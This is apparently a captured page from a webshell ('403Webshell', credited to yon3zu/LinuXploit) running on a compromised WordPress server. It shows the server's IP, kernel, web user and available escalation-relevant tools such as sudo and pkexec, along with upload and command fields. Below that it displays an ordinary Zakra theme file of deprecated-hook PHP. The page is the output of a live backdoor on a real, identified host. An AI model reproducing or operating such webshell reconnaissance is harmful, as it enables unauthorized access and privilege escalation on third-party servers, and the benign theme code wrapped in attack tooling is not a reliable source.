403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/wp-content/themes/zakra/inc/deprecated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/wp-content/themes/zakra/inc/deprecated/deprecated-hooks.php
<?php
/**
 * Zakra action deprecated.
 *
 * @package zakra
 *
 * TODO: @since.
 */

// Exit if accessed directly.
defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'zakra_do_action_deprecated' ) ) {
	/**
	 * Astra Filter Deprecated
	 *
	 * @param string $tag          Name of the filter hook.
	 * @param array $args          Array of additional function arguments to be passed to apply_filters().
	 * @param string $version      The version of WordPress that deprecated the hook.
	 * @param string $replacement  Optional. The hook that should have been used. Default false.
	 * @param string $message      Optional. A message regarding the change. Default null.
	 *
	 * @since 3.0.0
	 */
	function zakra_do_action_deprecated( $tag, $args, $version, $replacement = false, $message = null ) {

		do_action_deprecated( $tag, $args, $version, $replacement, $message );
	}
}

/**
 * Zakra header top left content action deprecated.
 *
 * @package zakra
 * @since 3.0.0
 */
function zakra_action_header_top_left_content_deprecated() {

	return zakra_do_action_deprecated( 'zakra_action_header_top_left_content', array(), '3.0.0', 'zakra_action_header_column_1_content', '' );
}
add_action( 'zakra_action_header_column_1_content', 'zakra_action_header_top_left_content_deprecated', 10 );

/**
 * Zakra header top right content action deprecated.
 *
 * @package zakra
 * @since 3.0.0
 */
function zakra_action_header_top_right_content_deprecated() {

	return zakra_do_action_deprecated( 'zakra_action_header_top_right_content', array(), '3.0.0', 'zakra_action_header_column_2_content', '' );
}
add_action( 'zakra_action_header_column_2_content', 'zakra_action_header_top_right_content_deprecated', 10 );

/**
 * Zakra zakra_after_page_header hook deprecated.
 *
 * @package zakra
 * @since 3.0.0
 */
function zakra_after_page_header_deprecated() {

	return zakra_do_action_deprecated( 'zakra_after_page_header', array(), '3.0.0', 'zakra_page_header', '' );
}
add_action( 'zakra_page_header', 'zakra_after_page_header_deprecated', 10 );

/**
 * Deprecating zakra_header_nav_toggle hook.
 *
 * @since 3.0.0
 */
function zakra_header_nav_toggle_deprecated() {

	return _deprecated_hook( 'zakra_header_nav_toggle', '3.0.0', false, null );
}
add_filter( 'zakra_header_nav_toggle', 'zakra_header_nav_toggle_deprecated' );

Youez - 2016 - github.com/yon3zu
LinuXploit